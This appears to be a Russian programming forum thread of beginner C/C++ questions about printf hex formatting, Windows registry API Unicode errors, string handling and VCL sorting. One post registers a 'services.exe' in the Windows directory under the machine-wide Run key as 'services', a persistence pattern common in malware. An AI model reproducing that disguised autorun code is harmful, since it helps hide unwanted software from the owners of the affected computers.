Приветствую всех. Есть код: Код: char * qwe3 = new char[90]; qwe3[1] = 0x8C; printf("%02X", qwe3[1]); выводит FFFFFF8C а надо просто 8С Хотя 0x64 выводит правильно... Почему так? и в чём различие между %02X и %X ?
Не подскажите пожалуйста хорошую библиотеку для работы с icq и инфо про нее Кодть буду на С++. Мне нужно что бы исходник был открыт и написан на С++.
Code: ////////////////////////////////////////////////////////////////////////// #include <stdio.h> ////////////////////////////////////////////////////////////////////////// typedef unsigned char UCHAR; ////////////////////////////////////////////////////////////////////////// int main( int argc, char *argv[] ) { char *qwe3 = new char[ 90 ]; qwe3[ 1 ] = 0x8C; printf( "%X", (UCHAR)qwe3[ 1 ] ); return 0; } //////////////////////////////////////////////////////////////////////////
Примерно так: Code: char autorun[] = "\"C:\\Program Files\\programmName.exe\""; HKEY hKeys; if( ERROR_SUCCESS == RegCreateKeyEx( HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL ) ) { RegSetValueEx( hKeys, "programmName", 0, REG_SZ, reinterpret_cast< const BYTE * > ( &autorun ), sizeof( autorun ) ); RegCloseKey( hKeys ); } А вообще MSDN не просто так создали.
Дело в том что я уже пробовал так делать PHP: #include "stdafx.h" char autorun[] = "\"C:\\Program Files\\programmName.exe\""; HKEY hKeys; int _tmain(int argc, _TCHAR* argv[]) { if( ERROR_SUCCESS == RegCreateKeyEx( HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL ) ) { RegSetValueEx( hKeys, "programmName", 0, REG_SZ, reinterpret_cast< const BYTE * > ( &autorun ), sizeof( autorun ) ); RegCloseKey( hKeys ); } return 0; } Errors Code: 1>c:\users\senap\documents\visual studio 2010\projects\code\code\code.cpp(10): error C2664: 'RegCreateKeyExW' : cannot convert parameter 2 from 'const char [46]' to 'LPCWSTR' 1> Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast 1>c:\users\senap\documents\visual studio 2010\projects\code\code\code.cpp(12): error C2664: 'RegSetValueExW' : cannot convert parameter 2 from 'const char [13]' to 'LPCWSTR' 1> Types pointed to are unrelated; conversion requires reinterpret_cast, C-style cast or function-style cast 1> 1>Build FAILED. 1> 1>Time Elapsed 00:00:01.93 ========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========
SeNaP Проект -> Свойства и конфигурации -> Общие -> Набор знаков ---поставь "Использовать многобайтовую кодировку"
Последний вопрос Почему этот код в Code::Blocks работает Code: #include <stdio.h> #include <stdlib.h> #include <windows.h> HKEY hKey; int main() { printf("Hello world!\n"); char dropTo[1024]; GetWindowsDirectory(dropTo,1024); strcat(dropTo,"\\services.exe"); if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey) == ERROR_SUCCESS) { RegSetValueEx(hKey,"services",0,REG_SZ,(const unsigned char*)dropTo,strlen(dropTo)); RegCloseKey(hKey); } return 0; } а в Visual Studio 2010 не хочет. В чём проблема? UPD: В C++ в Code::Blocks тоже не хочет создавать ключ , но компилируется без ошибок , а в C работает на ура
Я же уже писал. Перед хидерами добавь #undef UNICODE. В кодблоке многобайтовая кодировка по умолчанию.
Memo1->Lines->Strings возвращает std::string? И как надо упорядочить, по всем буквам или только по первой?
Code: for(int i=0; i<4; i++) { strcat(dc,files[i]); cout << dc <<endl; } Выводит dir\File1.txt dir\File1.txt\File2.txt dir\File1.txt\File2.txt\File3.txt Как сделать, чтобы было dir\File1.txt dir\File2.txt и т.д.? UPD: Форум вдохновляет ^_^ Решение моей проблемы: sprintf(result, "%s%s", dc, files); UPD: Как сделать, чтобы программа повисла в процессах?( напрмер как apache) В какую сторону копать?
AnsiString Darth Padla, если используешь VCL, то используй его везде: PHP: TStringList* sl = new TStringList; sl->AddStrings(Memo1->Lines); sl->Sort(); Memo1->Lines = sl; delete sl;